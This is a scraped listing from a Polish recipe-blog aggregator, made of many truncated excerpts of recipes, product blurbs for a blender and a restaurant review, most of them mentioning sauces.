Przed pokrojeniem pieczeni odczekać 10 min. Podać np z ziemniakami i surówką. Smacznego :) W trakcie pieczenia w foli zbierze się sporo wody z tłuszczem, co można wykorzystać na przygotowanie sosu. Kategoria: A-Z WYTRAWNIE , Dania bez glutenu , Mięsa , Na specjalne okazje , Obiad , Obiad Świąteczny Tagged: boczek , kukurydza , pieczarki , wołowina

https:KKuchniaMniam
Placki z kabaczka i Ziaren Inków (ryż, quinoa, amarantus, bulgur) 279

zimno (np. w sałatkach), jak i na ciepło - właśnie w takich placuszkach, czy chociażby jako dodatek do obiadu. Wracając do placków... Idealnie komponują się ze świeżymi warzywami lub lekkim sosem. Kabaczka możecie zastąpić cukinią oraz dodać ulubione zioła, ale zapewniam, że poniższa wersja jest pychaaaa i nie trzeba jej przerabiać! Sami spróbujcie!   (około 18 sztuk) 125g mieszanki "Ziarna Inków

Di gotuje
Karkówka w marynacie musztardowej 236

/Di.gotuje   http://digotuje.blogspot.com   Przepis autorski (mój). W skrócie prosto i smacznie. Całość jest miękka i niezwykle aromatyczna! Na zdjęciu widać karkówkę jeszcze ciepłą.  Dodatkowo powstał smaczny sos musztardowy.  Po ostygnięciu mięso idealnie nadaje się na kanapki.   1,5 kg karkówki wieprzowej sól (opcjonalnie) Marynata: 3-4 łyżki oleju 2 łyżki musztardy   2 łyżki

Di gotuje
Tradycyjne chińskie pierożki jiaozi gotowane na parze 279

zwykłego szczypiorku 2 łyżki drobno posiekanych pędów bambusa 1 łyżeczka drobno posiekanego imbiru  1-2 ząbki czosnku drobno posiekane lub przeciśnięte przez praskę    1 łyżka sosu sojowego 1 łyżka wina ryżowego (można zastąpić wytrawnym sherry)   1 łyżeczka soli  biały pieprz do smaku Przygotowanie Ciasto Mąkę zalać wrzącą, osoloną wodą, dokładnie wymieszać i pozostawić do ostygnięcia

Kulinaria - potrawy z różnych stron świata
Taboulleh z ciecierzycą 209

dodaj cieciorkę. Cytryny wyciśnij. Zioła opłucz, osusz i drobno posiekaj. W miseczce wymieszaj sok z cytryny, oliwę, kumin, sól i pieprz, po czym wlej przygotowany w ten sposób sos na taboulleh. Dodaj posiekane zioła, całość wymieszaj i wstaw do lodówki na 2-3 godziny. *Około trzy razy objętości wody, dokładny czas gotowania i ilość wody sprawdź na opakowaniu. **Możesz również

Smaki Francji współczesna kuchnia francuska
Kaszomaniak - czyli obowiązkowa lektura dla miłośników kasz 153

Przejdę do sedna i najważniejszej części książki czyli zawartości. Autorka ciekawie podzieliła przepisy na rozdziały: kasze bez glutenu i z glutenem. Dodatkowo w książce znajdziemy przepisy na buliony i sosy (słodkie i pikantne) Opisy wykonania są przyjemne i łatwe do zrozumienia, a co istotne szczególnie dla mnie (mieszkam z dala od centrum miasta) składniki są dostępne w większości sklepów spożywczych

Tradycyjna Kuchnia
SAŁATKA Z TUŃCZYKIEM, JABŁKIEM I SELEREM NACIOWYM 186

tylko ładniej się prezentuje, ale też lepiej trzyma formę po nałożeniu na kanapkę.  SKŁADNIKI na 2 porcje SAŁATKA 1 puszka tuńczyka (ok. 160 g) w oleju lub w sosie własnym / odsączonego 1 łodyga selera naciowego/ przekrojona wzdluż na dwa paski, a następnie w cienkie plasterki 1/2  małego jabłka (np. Gala) / umytego, pozbawionego gniazd nasiennych i pokrojonego w drobną

cool and minty
PUMPKIN PIE 197

POMARAŃCZOWA : W rondelku podgrzewamy dżem pomarańczowy i likier. Zagotowujemy, lekko studzimy i rozprowadzamy po wierzchu ciasta. Przed podaniem schładzamy w lodówce. Każdą porcję dekorujemy bitą śmietaną i opcjonalnie domowym sosem toffee

cool and minty
KANAPKA Z AWOKADO, JAJKIEM I CZERWONĄ CEBULKĄ 175

otarta z 1/2 cytryny / limonki WYKONANIE W miseczce energicznie mieszamy 2 łyżki oliwy i 2 łyżki soku z cytryny. Doprawiamy szczyptą soli, pieprzu i chili w proszku. Do przygotowanego sosu wrzucamy pokrojoną w cieniutkie piórka czerwoną cebulę i 1 łyżkę kaparów. Mieszamy, odstawiamy na 10 minut do zamarynowania. Awokado kroimy na pół, usuwamy pestkę, łyżką wydrążamy miąższ, przekładamy do miseczki

cool and minty
SAŁATKA JARZYNOWA 155

Klasyczna polska sałatka przygotowana z gotowanych ziemniaków, marchewki, pietruszki i selera. Z dodatkiem zielonego groszku, domowych ogórków kiszonych i delikatnego sosu majonezowo -musztardowego. Najczęściej przygotowuję ją gotując warzywa na parze, a groszek konserwowy zastępując ugotowanym groszkiem mrożonym. Dzięki temu warzywa zachowują witaminy i sole mineralne, sałatka ma bogatszy smak, a groszek piękny, intensywnie zielony kolor. Do przygotowania tej sałatki zdarza

cool and minty
KROKIETY Z MIĘSEM I GRZYBAMI 189

smażymy w świeżo przygotowanej panierce lub bez, taką porcję, na jaką akurat mamy ochotę. Najlepiej smakują podsmażane na klarowanym maśle i podane z TRADYCYJNYM BARSZCZEM CZERWONYM  lub  SOSEM PIECZARKOWYM SKŁADNIKI NALEŚNIKI / ok 9 sztuk o średnicy 23 cm 1 szklanka (250 ml) mleka 1/2 szklanki (125 ml) wody mineralnej 1 szklanka (150 g) mąki 2 jajka 2 łyżki

cool and minty
ZUPA MARCHEWKOWO-KOKOSOWA 210

Wyostrzają doskonały balans miedzy słodyczą marchewki, a ostrością imbiru. SKŁADNIKI / 4-6 porcji 750 g marchewki (około 6 marchewek) 750 ml gorącego bulionu warzywnego lub wody z 3 łyżkami sosu sojowego 2 cebule pokrojone w kostkę 2 łyżki masła klarowanego (lub zwykłego) 1 łyżka oliwy  1 łyżka drobno startego imbiru 1 szklanka czerwonej soczewicy 1 puszka mleka kokosowego

cool and minty
ZUPA Z POMIDORÓW I CIECIERZYCY 149

który dodatkowo możecie podprażyć na suchej patelni). Przed samym podaniem każdą porcję skropiłam oliwą extra vergine.  SKŁADNIKI / 4 porcje 750 ml gorącego bulionu lub wody z 2 łyżkami sosu sojowego 600 g pomidorów z puszki lub świeżych (sparzonych, obranych i pokrojonych w kostkę) 400 g ciecierzycy z puszki lub 200 g suchej (namoczonej i ugotowanej)  2 papryki czerwone

cool and minty
PERFEKCYJNIE UPIECZONA PIERŚ KACZKI 185

zakręcamy i mocno potrząsamy lub w miseczce umieszczamy wszystkie składniki dressingu poza oliwą. Mieszamy i stopniowo, cienkim strumieniem wlewamy oliwę, cały czas energicznie mieszając. Powinniśmy otrzymać lekko gęsty, jednolity sos. KACZKA : Niedużą żaroodporną foremkę ustawiamy na kratce w środkowej części piekarnika. Piekarnik rozgrzewamy do 200℃ z włączoną funkcją góra/dół, bez termoobiegu. Piersi kaczki myjemy i bardzo dokładnie osuszamy

cool and minty
OBIADOWA SAŁATKA Z MIODOWO-JOGURTOWYM DRESSINGIEM 224

polewamy oliwą, skrapiamy sokiem z cytryny. Doprawiamy solą i pieprzem, delikatnie mieszamy. Dodajemy roszponkę. Przed samym podaniem sałatkę ponownie delikatnie mieszamy i polewamy częścią przygotowanego dressingu.  Pozostały  sos przelewamy do małej miseczki i podajemy oddzielnie

cool and minty
STIR-FRY Z PIECZONYM ŁOSOSIEM, JAJKIEM i BRUKSELKĄ 209

łyżka tartego imbiru 2 ząbki czosnku pokrojone w cienkie paseczki kawałek papryczki chili drobno posiekanej 2 łyżki oleju kokosowego lub oliwy 2 łyżki posiekanej natki pietruszki MARYNATA : 3 łyżki sosu sojowego, 1 łyżka miodu, syropu klonowego lub cukru, 2 łyżki soku z limonki PRZYPRAWY : sól morska, świeżo zmielony czarny pieprz, chili w proszku,  DO PODANIA : pokrojona na cząstki limonka

cool and minty
Najlepsze zapiekanki z tuńczykiem 520

tuńczykiem ;) Najlepiej smakują na chrupiącej bagietce z dodatkiem dobrych oliwek i słodkiej czerwonej papryki. SKŁADNIKI (2 porcje) 1/2 niedużej bagietki albo 2 małe bułki paluchy 1 puszka tuńczyka w sosie własnym 1 pomidor 4-6 czarnych oliwek kawałek czerwonej papryki 1/2 małej cebulki cukrowej 1/2 ząbka czosnku 2 gałązki świeżego tymianku ulubiony żółty ser lub mozarella 1 łyżka majonezu SPOSÓB

DefinicjaSmaku
Sałatka z tuńczykiem i rodzynkami 221

tuńczykiem i rodzynkami Sałatę lodową myjemy i dzielimy na mniejsze kawałki (możecie ją porwać, albo pokroić). Ugotowane na twardo jajka i pomidora kroimy w kostkę. Tuńczyka (najlepiej w sosie własnym, będzie mniej tłusty) odsączamy z zalewy i dzielimy na mniejsze kawałki. W misce mieszamy wszystkie składniki, dodajemy odrobinę oliwy , doprawiamy całość solą (ja dla urozmaicenia smaku, użyłem soli z trawą

Kulinarnyblog.pl - wiesz jak gotować!
Dietetyczna pasta brokułowa (również low-carb) 245

przygotowaną pastę możecie przechowywać w lodówce w słoiku lub w miseczce przykrytej folią spożywczą przez kilka dni. Szukacie pomysłu na obiad? Zastąpcie majonez/jogurt oliwą, a będziecie mieć pyszny sos pesto do makaronu. Możecie dodać natkę czy jakieś ulubione przyprawy, jednak nam w tym wariancie, pasta smakuje najlepiej. Spróbujcie jej również jako dip do warzyw czy krakersów na imprezie czy grillu

Mieszam w Garnku
lekki gulasz warzywny z kurczakiem... 711

podsmażać z 2 minuty na większym ogniu wlać wodę i pod przykryciem dusić z 15 minut, śmietanę wymieszać z mąką i wodą i wlać do warzyw mieszając do zagęstnienia sosu, wsypać posiekany koperek - gulasz jest pyszny, lekki, smakuje do ziemniaków, ryżu, makaronu, innych klusek, do pieczywa............SMACZNEGO

W Mojej Kuchni Lubię
Letnia sałatka z arbuza i kolendry 188

liście kolendry sezam Arbuza kroimy w dowolne kształty. Łączymy z pokrojoną fetą. Dekorujemy świeżymi liśćmi kolendry i posypujemy uprzednio uprażonymi na suchej patelni ziarnami sezamu. Całość można polać dowolnym sosem, dobrze będzie się komponować taki z dodatkiem miodu lub octem balsamicznym

Wrzosowa Polana
Zupa czosnkowo serowa 194

smak głęboko serowy jednak subtelny z wyczuwalną aksamitnością. Produkt ten idealnie nada się nie tylko do zup, świetnie sprawdzi się do domowych kanapek, tostów czy też mięs i sosów. Z pewnością jest to produkt godny polecenia i sama niejednokrotnie sięgnę po niego robiąc zakupy

Kulinarny Świat Konczi i Szpileczki
RAVIOLI Z ŁOSOSIEM I RICOTTĄ 239

FARSZ :  150 g łososia z puszki Graal w sosie własnym 100 g ricotty łyżka posiekanego koperku sol, pieprz do smaku oliwa z oliwek do polania pierożków Składniki farszu wymieszać w miseczce i doprawić do smaku. Mąkę przesiać i wbić do niej dwa jajka oraz jedno żółtko, wlać olej i odrobinę wody, zagnieść elastyczne ciasto. Uformowane ciasto zwinąć w folie

Kulinarne Fantazje Marioli
KARP ZAPIEKANY Z KASZĄ I BAKALIAMI 143

ryby i pieczemy w nagrzanym piekarniku do 180 *C, przez około 20 minut. Dzięki masłu, karp po upieczeniu stanie się soczysty.  Kawałki ryby układamy na talerzu, polewamy sosem i masłem z pieczenia. Smacznego

Kulinarne Fantazje Marioli
TATAR ZE ŚLEDZIA 152

godzinę do przegryzienia. Na talerzu układamy plaster jabłka, na to porcję tatara ( trzeba użyć pierścienia dekoracyjnego ) i dekorujemy jajkiem, koperkiem i jabłkiem. Tatar podajemy z sałatką polaną sosem winegret. Smacznego

Kulinarne Fantazje Marioli
SZPINAKOWY ŁOSOŚ PIECZONY W CIEŚCIE FRANCUSKIM 191

SKŁADNIKI :  1 opakowanie ciasta francuskiego 150 g łososia z puszki, w sosie własnym Graal 100 g mrożonego szpinaku 200 g twarogu 2 ząbki czosnku 1/4 białej części pora  1 łyżka masła sól, pieprz do smaku 1 jajko do posmarowania ciasta

Kulinarne Fantazje Marioli
KOTLETY PO HAWAJSKU ZAPIEKANE Z WARZYWAMI 173

warzywka, kawałki pieczonych ziemniaczków, na to układamy kotlety na które kładziemy plastry ananasa i posypujemy serem.  Danie zapiekamy aż ser się rozpuści.  Zapiekankę podajemy ciepłą z ulubionymi sosami, smacznego

Kulinarne Fantazje Marioli
PRZEPIÓRCZE UDKA 168

tartej. W wysokiej patelni rozgrzewamy olej i smażymy udka, na małym ogniu z dwóch stron aż ładnie się zarumienią.  Udka podajemy do barszczu lub jako przekąskę z ulubionymi sosami

Kulinarne Fantazje Marioli
MAKARON ZE SZPINAKIEM I PULPETAMI Z ŁOSOSIA 184

SKŁADNIKI : 150 g makaronu spaghetti 2 puszki łososia 150 g w sosie własnym  GRAAL 1 mała czerstwa bułka 1 jajko 1 łyżka mąki kukurydzianej 1 mała cebula sól, pieprz do smaku  1 łyżka soku z cytryny sezam do obtoczenia pulpetów

Kulinarne Fantazje Marioli
PIZZA CALZONE 171

sklejamy, wierzch pierożków posypujemy serem. Calzone przekładamy na blaszkę i pieczemy w 190 *C, przez około 20 minut aż ładnie wyrosną i się zarumienią.  Podajemy ciepłe z ulubionym sosem. Smacznego

Kulinarne Fantazje Marioli
ROLADKI SCHABOWE ZE SZPINAKIEM, SEREM I MARCHEWKĄ 170

które spinamy wykałaczkami. Podpiekamy je na oleju z każdej strony aż się zarumienią, wlewamy bulion, dodajemy liść laurowy, ziele i pieprz, cebulę i  dusimy do miękkości, Pod koniec sos doprawiamy do smaku i  zagęszczamy łyżką mąki rozmieszaną w 1/2 szklance wody. Roladki schabowe podajemy z kaszą, ziemniakami i ulubioną surówką. Smacznego

Kulinarne Fantazje Marioli
KURCZAK GRILLOWANY w JOGURCIE z SAŁATKĄ z FETY i POMARAŃCZY 168

Delikatne piersi z kurczaka grillowane w jogurcie, i czosnku doskonale smakują z warzywami świeżymi i opiekanymi, oraz ulubionymi sosami. Danie smaczne i dietetyczne.                                                               SKŁADNIKI :  500 g piersi

Kulinarne Fantazje Marioli
ZAPIEKANKA ZIEMNIACZANA Z SZYNKĄ, BATATAMI I GROSZKIEM 170

jajkami, solą, pieprzem i gałką muszkatołową. Naczynie żaroodporne smarujemy masłem, układamy pierwszą warstwę ziemniaków, na to rozkładamy szynkę z cebulą, groszek i naprzemiennie ziemniaki z batatami. Zapiekankę zalewamy sosem śmietanowym i posypujemy tartym serem.  Pieczemy w nagrzanym piekarniku do 180 *C, przez około 20 minut. Po upieczeniu posypujemy tartym parmezanem i podajemy. Smacznego

Kulinarne Fantazje Marioli
JAJKA KURCZAKI Z PASTĄ Z TUŃCZYKA 162

SKŁADNIKI :  4-5 jajek ugotowanych na twardo 170 g tuńczyka w sosie własnym firmy  GRAAL 1 marchew, ugotowana  1 duża łyżka majonezu sól, pieprz do smaku kulki pierzu do dekoracji sałata lodowa, kiełki, brokuł do dekoracji

Kulinarne Fantazje Marioli
HUMUS Z SOI I BATATA 134

prze batatów 3 ząbki czosnku przeciśnięte przez praskę 100 ml dobrej oliwy np. słonecznikowej, lnianej 1 płaska łyżeczka soli pieprz do smaku ostra papryka do smaku 1 łyżeczka sosu sojowego 1 łyżka soku z cytryny 1 łyżeczka czubrycy ( najlepiej mieszanki ) natka pietruszki

Kulinarne Fantazje Marioli
LEKKA SAŁATKA Z KURCZAKIEM I GREJPFRUTEM 184

kroimy w kostkę, następnie przekładamy na patelnię z miodem i octem malinowym, podpiekamy aż gruszka się skarmelizuje. W misce mieszamy wszystkie składniki sałatki, napełniamy miseczki po grejpfrucie, polewamy sosem z karmelizowanej gruszki i podajemy, smacznego

Kulinarne Fantazje Marioli
ZAPIEKANKA WIEJSKA -COTTAGE PIE 171

groszek z marchewką kostkę rosołową i przyprawy. Prużymy na małym ogniu często mieszając aż płyny znacznie odparują. Mąkę mieszamy w odrobinie wody, wlewamy do mięsa i energicznie mieszamy aż sos zrobi się gęsty. Naczynie żaroodporne smarujemy masłem, wylewamy masą mięsną a na wierzch rozkładamy puree z ziemniaków.  Zapiekamy w piekarniku nagrzanym do 180 *C, przez około 30 minut

Kulinarne Fantazje Marioli
SAŁATKA FIT Z KASZĄ BULGUR 227

SKŁADNIKI :  150 g pszenicy durum ugotowanej 170 g filetu z makreli  GRALL  w sosie musztardowo-chrzanowym 1 pęczek rzodkiewki 2 ogórki małosolne 1 pomidor 1 łyżka soku z cytryny  dowolne kiełki  szczypiorek, koperek do smaku  pieprz do smaku

Kulinarne Fantazje Marioli
ZUPA GOŁĄBKOWA 159

Dzisiaj polecam zupę gołąbkową, gołąbki uwielbiam a zupa w smaku nawet trochę przypomina je z sosem pomidorowym. Smaczna, sycąca i gęsta, zwłaszcza na drugi dzień. Jeżeli chcemy troszkę rzadszą wystarczy dolać bulionu. Polecam

Kulinarne Fantazje Marioli
KURCZAK Z KARMELIZOWANĄ GRUSZKĄ 177

miód, dodajemy gruszki, doprawiamy do smaku przyprawami, wlewamy ocet i podpiekamy aż się owoce lekko skarmelizują. N talerz układamy sałatę, na to pokrojonego kurczaka oraz porcję gruszek. Danie polewamy sosem i podajemy. Smacznego

Kulinarne Fantazje Marioli
MIĘTOWO - CZOSNKOWE POLĘDWICZKI Z GRILLA 157

polędwiczek. Mięso zawinięte w boczek, z dodatkiem cukinii, o lekkim posmaku czosnku, mięty i bazylii. Szaszłyki są idealne na imprezę lub efektowny obiad, podane z surówką i ulubionym sosem są rewelacyjne

Kulinarne Fantazje Marioli
PIKANTNE, ZAKRĘCONE KIEŁBASKI Z GRILLA 169

minut, na rozgrzanym grillu z jednej i drugiej strony.  Majonez mieszamy z musztardą, przekładamy do małej salaterki. Kiełbaski studzimy, zdejmujemy z patyczków i podajemy z ulubioną surówką oraz sosem musztardowo - majonezowym.  Smacznego

Kulinarne Fantazje Marioli
Krem pomidorowy z frytkami z cukini i szynki złocistej, podawany z kaszą gryczaną ,selerem naciowym i olejem z ostropestu 196

przycisk turbo z trybem pulsacyjnym - wielofunkcyjny rozdrabniacz do łatwego rozdrabniania ziół, cebuli, orzechów itp. - trzepaczka do ubijania śmietany i białka, jajek, dressingów itp. - blender do robienia kremowych zup, sosów, żywności dla niemowląt itp. - stal 18/8 - 3 kolory - 3 lata gwarancji Dostępny w LIDL  za niecałe 80 zł. Pomógł mi zmiksować zupę na krem, ale do dzieła! Składniki polpa

Z Kuchni Do Kuchni
Kompot z truskawek do słoików i "Pensjonat na wrzosowisku" 270

przygotowany kompot można przechowywać nie tylko w piwnicy, ale też w szafkach kuchennych. Potem wystarczy tylko go rozcieńczyć według uznania. Owoce są słodkie i można je wykorzystać do zrobienia sosów do deserów. ----- Podobne: Po trylogii chorwackiej Agnieszki Lingas - Łoniewskiej sięgnęłam po wrzosową trylogię Anny Łajkowskiej . W pierwszym tomie pt. "Pensjonat na wrzosowisku" poznajemy rodzinę Basi: męża Marka, córki Kornelię

Weekendy w domu i ogrodzie
Kopytka 205

Stwierdziłam jednak, że ludzie szukają różnych rzeczy i nawet ten może komuś się przydać. Kopytka są jednymi z ulubionych przeze mnie zamienników ziemniaków do obiadu. Uwielbiam je z mięsem, sosami i surówkami. Ugotowanymi i polanymi skwarkami też nie pogardzę :) Składniki: 1 kg ugotowanych w osolonej wodzie ziemniaków ok 400g mąki pszennej (tyle ile zabierze ciasto) 2 pełne łyżki mąki ziemniaczanej

Kuchnia w czekoladzie
Dlaczego warto jeść cukinię? 5277

trawienie - stąd też, jest polecana przy problemach z nadkwaśnością.  Zawarty w cukinii potas przeciwdziała zatrzymywaniu się wody w organizmie - co sprzyja utracie wagi. Leczo z cukinii i sosy z dodatkiem tego warzywa warto polec ić osobom   cierpiącym na cukrzycę . Cukinia ma niewiele węglowoda nów oraz niski indeks glikemiczny (nawet gotowana - w przeciwieństwie do np. marchewki). Świetnie zagęszcza potrawy

Moje Kuchenne Rewelacje
MAKARON SOJOWY Z CUKINIĄ I FETĄ 207

naszych sąsiadów z Dalekiego Wschodu . Składniki: paczka makaronu pół cukinii  1 biała cebula pół kostki sera typu feta  sól, pieprz, szczypta ostrej i słodkiej papryki, 2 łyżki sosu sojowego, 1 łyżeczka ziół prowansalskich  2 łyżki oleju do smażenia  Sposób przyrządzenia: Cukinie i cebulę pokroić na małe części. Podsmażyć na oleju zaczynając od cebuli aż się zeszkli

pieprzny smaczek
Alkalizujący i regenerujący śluzówkę żołądka i jelit koktajl ananasowo-lniany z czerwonym grejpfrutem i jagodami goji 161

przycisk turbo z trybem pulsacyjnym - wielofunkcyjny rozdrabniacz do łatwego rozdrabniania ziół, cebuli, orzechów itp. - trzepaczka do ubijania śmietany i białka, jajek, dressingów itp. - blender do robienia kremowych zup, sosów, żywności dla niemowląt itp. - stal 18/8 - 3 kolory - 3 lata gwarancji  Pokrywka pojemnika jest równocześnie antypoślizgową nakładką na dno! Blender pomógł mi w przygotowaniu dla Was tego koktajlu pełnego zdrowia

Z Kuchni Do Kuchni
Coś jak pizza, ale inaczej. Super 330

żeby ciasto wystawało poza boki formy. Ciasto lekko przygnieść do dna i boków, pozostałe ciasto niech zwisa na zewnątrz. Będzie potrzebne do zaklejenia ciasta. Posmarować dno ciasta dowolnym sosem pomidorowym lub ketchupem. Wyłożyć grzyby z cebulą, obsypać kiełbasą i serami. Drugą część ciasta rozwałkować o średnicy takiej jakiej jest dno formy. Położyć je na górę, następnie odwinąć brzeg spodniej warstwy

Kuchnia Pokoleń
Restauracji BelEtage – degustacja 262

już teraz późną jesienią lub w zimie. Zupa była bardzo syta a do zjedzenia pozostało nam jeszcze drugie danie główne czyli pierś z kaczki z puree jabłkowo- żurawinowym, rabarbarowym sosem z przyprawami korzennymi oraz obsmażonymi na maśle kładzionymi kluseczkami. Dodatki przepyszne - rabarbar był po prostu cudowny i chyba wszystkie zjadłyśmy go od razu :-), kładzione kluseczki i puree jabłkowo-żurawinowe genialnie

sierotka maRysia w kuchni
Żeberka w sosie jerk wg Jamiego Olivera 348

Olivera. Jak napisał Jamie: nie ma nic lepszego niż słodkie mięso odrywane od lepkiego przypieczonego żeberka. Koniec z nudnymi potrawami, zabieramy się za gotowanie pyszne i aromatyczne. Żeberka w sosie jerk wg Jamiego Olivera. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Marynata do kurczaka ananasowo kokosowa 207

berberysem utarta marchewka krążki czerwonej cebuli kolendra do posypania drewniane patyczki do grillowania Surówka z młodej kapusty 300 g młodej kapusty 2 łyżki oleju arachidowego 1-2 łyżki sosu rybnego 1 łyżka ryżowego octu 1 łyżeczka soku z limonki czarny pieprz do smaku Pokrój mięso na małe kawałki. W pojemnej misce wymieszaj składniki na marynatę. Dodaj mięso do marynaty

codojedzenia
MAKARON ZE SZPINAKIEM I KURCZAKIEM 211

doprawiamy do smaku.Dolewamy śmietanę, dusimy chwilę aż zgęstnieje. Dokładamy usmażonego wcześniej kurczaka , mieszamy.W osolonej wodzie gotujemy makaron, odsączamy i wykładamy porcję makaronu na talerz, na makaron wymieszanego kurczaka z sosem szpinakowym

Z Majeczką w kuchni
Indyk pieczony 191

Składniki: Pierś z indyka moczona w marynacie, a następnie pieczona. Idealna do obiadu podana z sosem lub jako wędlina na kanapki. Taka domowa-najlepsza. Bardzo lubię takie pieczone mięso na kanapki. Jeśli macie ochotę na inne przepisy z udziałem mięsa to zapraszam tutaj    Znajdziecie tam mnóstwo przepisów, które warto wykorzystać. Polecam! 1 kg piersi z indyka marynata

O kuchni z uczuciem
Sałatka z makaronem, szparagami, pomidorkami i piersią z kurczaka 240

Ugotowane szparagi przełożyć na talerz. Do miski wsypać makaron, dodać usmażoną pierś z kurczaka, pokrojone w ćwiartki pomidorki i pokrojone na mniejsze części szparagi. Na sam koniec całość polać sosem (2-3 łyżki oliwy z oliwek wymieszać z sokiem z cytryny/limonki + całość posolić oraz popieprzyć). Przed podaniem schłodzić w lodówce

Ugotować
Niezły Dym 181

pokazali wszystkim wokół, jak powinna wyglądać i smakować włoska pizza! Zdjęcia mówią same za siebie; wpadajcie licznie! ;) * W piecu trzeba czymś napalić. Bo przecież nie ma dymu bez ognia. Sos pomidorowy i oliwa z oliwek to podstawa każdej pizzy. Uczymy się, jak poprawnie wyrabiać ciasto na pizzę! Pizza gotowa! ... i hop do pieca! Sprawcy całego „zamieszania”: Maciej Gibowski i Tomasz

Food Square
Udka faszerowane zielonymi szparagami 237

sposób możecie podać z młodymi ziemniakami i gotowanymi warzywami na parze. Jeżeli macie ochotę na inne dania z użyciem udek to zachęcam do przygotowania duszonych udek w lekko słodkim sosie (są pyszne!) lub faszerowanych pieczarkami . Składniki na porcję dla 4 osób: 1 kg udek z kurczaka (waga przed wyluzowaniem!) 1/2 pęczka zielonych szparagów 1 szklanka wody sól, pieprz starty, żółty

Ugotować
Deser warstwowy z budyniem, chia, truskawkami i ciastkami czekoladowymi 434

końcówki:  1.  wielofunkcyjny rozdrabniacz do łatwego rozdrabniania ziół, cebuli, orzechów itp. 2. trzepaczka do ubijania śmietany i białka, jajek, dressingów itp. 3. blender do robienia kremowych zup, sosów, żywności dla niemowląt itp. Do tego świetnym rozwiązaniem jest  bezstopniowo ustawiana prędkość, dzięki czemu możemy dopasować moc do rodzaju produktu.  Najbardziej ciekawiło mnie, jak się sprawdzi końcówka

Kto ugości moich gości?
MAKARON Z SOSEM ORZECHOWO- SEROWYM 197

czosnku 2/3 szklanki oliwy Orzechy przekładamy do miski, dodajemy posiekane listki bazylii , starty czosnek i ser. Dolewamy część oliwy i zaczynamy rozdrabniać blenderem. Sprawdzamy konsystencję. Jeśli potrzeba, dolewamy oliwy. Sos ma aksamitną konsystencję i jasno zielony kolor. SMACZNEGO

WYSPA SZCZĘSLIWA
Sałatka z arbuza i fety z miętą 158

sera, posypać posiekaną miętą. Gotową sałatkę przed podaniem dobrze schłodzić. Jeśli ktoś nie przepada za mięta może ją pominąć lub zamiast niej dodać np. bazylię albo skropić sałatkę sosem balsamicznym

Monia miesza i gotuje
A'la pasztet jęczmienny z wołowymi klopsikami i kukurydzą 153

nieco smak, różnica w składnikach niewielka, za to w smaku bardzo wyczuwalna. Czosnek niedźwiedzi odgrywa tu kluczową rolę. Taki a'la pasztet może stanowić danie obiadowe (do tego jakiś sos i sałatka), czy też dodatek do pieczywa. Składniki: Klopsiki: 500g wołowego mięsa mielonego 2 łyżki ugotowanej kaszy jęczmiennej 5-6 łyżek bułki tartej 2 łyżki koncentratu pomidorowego 1 duże jajko

Kolorowy Przepisownik
Kiełbasa w słoiku pasteryzowana 211

poszłam troszkę na łatwiznę, bo pasteryzuje już gotową kiełbaskę, ale  mimo to efekt jest pyszny! Tak przygotowana wspaniale nadaje się do żurku, a marynatę wykorzystać jako baza pod sos lub żurek.   Składniki: 1 kg białej kiełbasy Przyprawy na jeden słoik: 1 listek laurowy 2 ziarenka pieprzu 2 ziarenka ziela angielskiego 1 ząbek czosnku Wykonanie: Kiełbasę obgotować przez

Tradycyjna Kuchnia
Ziemniaki pieczone w mundurkach po włosku! 371

minut. Po prostu otwórz piekarnik nakłuj widelcem ziemniaka, jak jest mięciutki i się rozpada oznacza, że są już dobre. Przed podaniem przemieszaj ziemniaki w naczyniu i podaj obficie polane sosem. Smacznego

SMYKWKUCHNI
Łosoś w czerwonym pesto z piekarnika 194

górę rozłożyć łososia. Obsypać przekrojonymi na pół pomidorkami koktajlowymi i szczypiorkiem. Wstawić do nagrzanego piekarnika do 200 C i piec 20 minut. Dodatkowo obsypać szczypiorkiem. Jeżeli chcecie więcej sosu można na koniec podlać delikatnie wodą i w razie potrzeby doprawić. Podawać z frytkami, pieczonymi ziemniakami, ciemnym ryżem lub makaronem. Smacznego

Kuchnia Pokoleń
Klubodajnia Przystanek Korzeniowa, Kazimierz Dolny 273

przed południem, bardzo głodni, po kilkukilometrowym spacerze. Zamówiliśmy sycące dania, a ich smak był w punkt taki jak lubimy. „Dwa sąsiedzkie jaja sadzone na soczewicy z aromatycznym pomidorowym sosem, dodatkiem sezonowych liści, ziół i korzeniowym pieczywem” czyli po prostu szakszuka […] Artykuł Klubodajnia Przystanek Korzeniowa, Kazimierz Dolny pochodzi z serwisu Mienta blog

Mienta blog
Placuszki z mąki jaglanej 197

składników: mąki jaglanej, jogurtu naturalnego, proszku do pieczenia, cukru oraz jajka. Poniższe placuszki możecie podać z dżemem, kremem czekoladowym jak i posypać cukrem pudrem. Świetnie smakują podane z owocowymi sosami. Zachęcam do smażenia ;)  Składniki na porcję dla 2-3 osób: 1 szklanka mąki jaglanej (110 g) 4/5 szklanki jogurtu naturalnego 3 płaskie łyżki ksylitolu (lub zwykłego cukru) 1 łyżeczka

Ugotować
Knedle szpinakowe 208

Knedle szpinakowe -pycha. Ja, która nie przepadam za szpinakiem zjadłam ze smakiem.:) Było naprawdę bardzo smaczne. Można podać również z sosem pieczarkowym lub gulaszem, albo polane masełkiem tak jak w moim przepisie. Na moim blogu znajdziecie również kluski ze szpinakiem i białym serem  , które również Wam polecam. Składniki 1 kg ziemniaków 400 g mrożonego szpinaku 2,5 szklanki mąki

O kuchni z uczuciem
Indyk w sosie pieczarkowym z marchewką i kaszą jaglaną 186

Jakoś czas mi nie leci, nudzi mi się wtedy niesamowicie. Tak jakoś to tych upałów nawiązałam he ;)). Wracamy do jedzonka, proste oczywiście, smaczne też, szybkie też. Indyk w sosie pieczarkowym z marchewką i koperkiem, do tego kasza jaglana . Miłego tego gorącego dnia Wam życzę :)) Składniki: filet z indyka pieczarki 2 sztuki marchewki  kurkuma sól pieprz 2 łyżki mąki koperek

kruche babeczki
Podlaskie racuchy z marchewki (wytrawne) 233

placuszki. Smażyć (na rozgrzanym oleju, którego nie należy żałować) z obu stron - do zarumienienia. Odsączyć z nadmiaru tłuszczu - na ręczniku kuchennym. Podawać na ciepło ze śmietaną, jogurtem lub dowolnym sosem. (*) W wersji na słodko - należy nie dodawać szczypiorku i pieprzu, a jedynie odrobinę soli. Wtedy doskonale komponują się polane śmietaną i z dodatkiem dżemu np. morelowego

Di gotuje
Kurczak pieczony w keczupie 224

